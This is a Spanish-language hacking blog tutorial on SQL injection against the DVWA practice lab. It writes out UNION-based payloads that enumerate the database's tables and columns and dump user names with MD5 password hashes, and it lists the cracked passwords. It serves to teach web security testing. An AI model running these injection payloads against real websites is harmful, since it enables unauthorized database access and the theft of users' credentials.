SQL Injection – Sacar contraseñas de usuarios

Ya escribí una entrada sobre qué es SQL Injection e hice una muestra sobre como saltar un login en una página web real (con permiso previo), además de una explicación completa de cómo funcionan las sentencias SQL con las que la web se comunica con la base de datos y cómo funciona el ataque, también vimos cómo instalar y y configurar DVWA para practicar hacking web en nuestro propio ordenador. Ahora vamos a darle un repaso a la parte de inyección SQL (en el nivel bajo) en esta maravillosa herramienta.
Éste tutorial es sobre una página web “falsa” pero se puede aplicar perfectamente a páginas web reales, eso sí, siempre con permiso de lxs dueñxs.
sql1
Nos encontramos con un formulario que pide un identificador de usuario, si ponemos un número del 1 al 5 nos saca algo así:
ID: 2
First name: Gordon
Surname: Brown
Es una especie de buscador de usuarios, la base de datos es pequeña y por eso solo hay 5 almacenados.
Primero probamos si es vulnerable a inyecciones SQL, escribimos una comilla y ¡pum!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ””’ at line 1
Ahora vamos a ver como explotar la vulnerabilidad, se me ocurre intentar comprobar si también tienen almacenadas contraseñas en la bd.
Primero sacamos el nombre de la base de datos y los nombres de las tablas que hay en ella.
‘ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
information_schema es una tabla de la base de datos que contiene información sobre ésta. database() es una función que devuelve el nombre de la base de datos a la que se accede y group_concat(table_name) nos da los nombres de las tablas de la base de datos, ya que lo especificamos con where table_schema=database(). La salida es:
ID: ‘ union select group_c[…]
First name: dvwa
Surname: guestbook,users
Así que tenemos que la base de datos se llama dvwa y tiene las tablas guestbook y users. Lo que nos interesa ahora mismo es la tabla de usuarios, así que vamos a ver qué columnas tiene.
‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#
Así sacamos los nombres de las columnas de la tabla columns en information_schema en la base de datos dvwa y en la tabla users.
ID: ‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
Vemos que las columnas que nos daban por defecto se llaman first_name y last_name (nombre y apellido) sin embargo hay dos columnas que me resultan más interesantes, son user y password, vamos a ver que sale de ahí
‘or 1=0 union select user,password from dvwa.users#
Lo que nos devuelve son todos los usuarios y contraseñas hasheadas en md5.
sql2
Las contraseñas son
admin: password
gordonb: abc123
1337: charley
pablo: letmein
smithy: password
Para saber qué son los hashes, que es md5 y como “deshashear”: Criptografía – Hashes y cómo crackearlos
Parece que es de broma, que ésto no pasa en páginas web reales, pero la realidad es que sí ocurre, está claro que hay muchísimas páginas que tienen una seguridad mejor que ésta, pero por experiencia os digo que hay otras muchas que están así de mal.
Muchos desarrolladores web no saben nada de seguridad y hacen páginas web bonitas y que cumplen su función, pero que son completamente inseguras. E incluso las que sí son “seguras” tienen vulnerabilidades. Cómo usuarios sólo podemos tener la precaución de no usar nunca contraseñas iguales en diferentes sitios.
Es un tema algo complicado si se está empezando y no explico punto por punto todas las inyecciones ni toda la teoría para que no se alargue demasiado, si tenéis dudas o sugerencias comentadlas y estaré encantado de responder.

Grupo de Telegram: https://t.me/hackingteamelrinconoscuro

Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber

Canal Vimeo: https://vimeo.com/403136547?activityReferer=1

Red Social Twitter: https://twitter.com/HackingTeam1?s=09


Pagina Web: https://elrincondehackingteam.blogspot.com/

Comentarios

  1. Y si en la plataforma nos pide usuario y contraseña, en vez de buscar usuario solo, qué hacemos para saber si es inyectable o no?

    (Si podeis desbanearme de instagram os lo agradezco, me equivoqué con la ética del grupo) Mrs.Bots

    ResponderEliminar

Publicar un comentario

Todos sus comentarios seran bienvenidos, no se admiten insultos todo con el debido respeto que se merece cada persona, o de lo contrario seran eliminado cada comentario inrespetuoso hacia los demas. y autores del blog tambien puedes seguirnos en:

Facebook: https://www.facebook.com/groups/HackingTeamCyber/

Grupo de Telegram: https://t.me/TheHackForceOfficial

Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber

Canal Vimeo: https://vimeo.com/403136547?activityReferer=1

Red Social Twitter: https://twitter.com/TheHackForce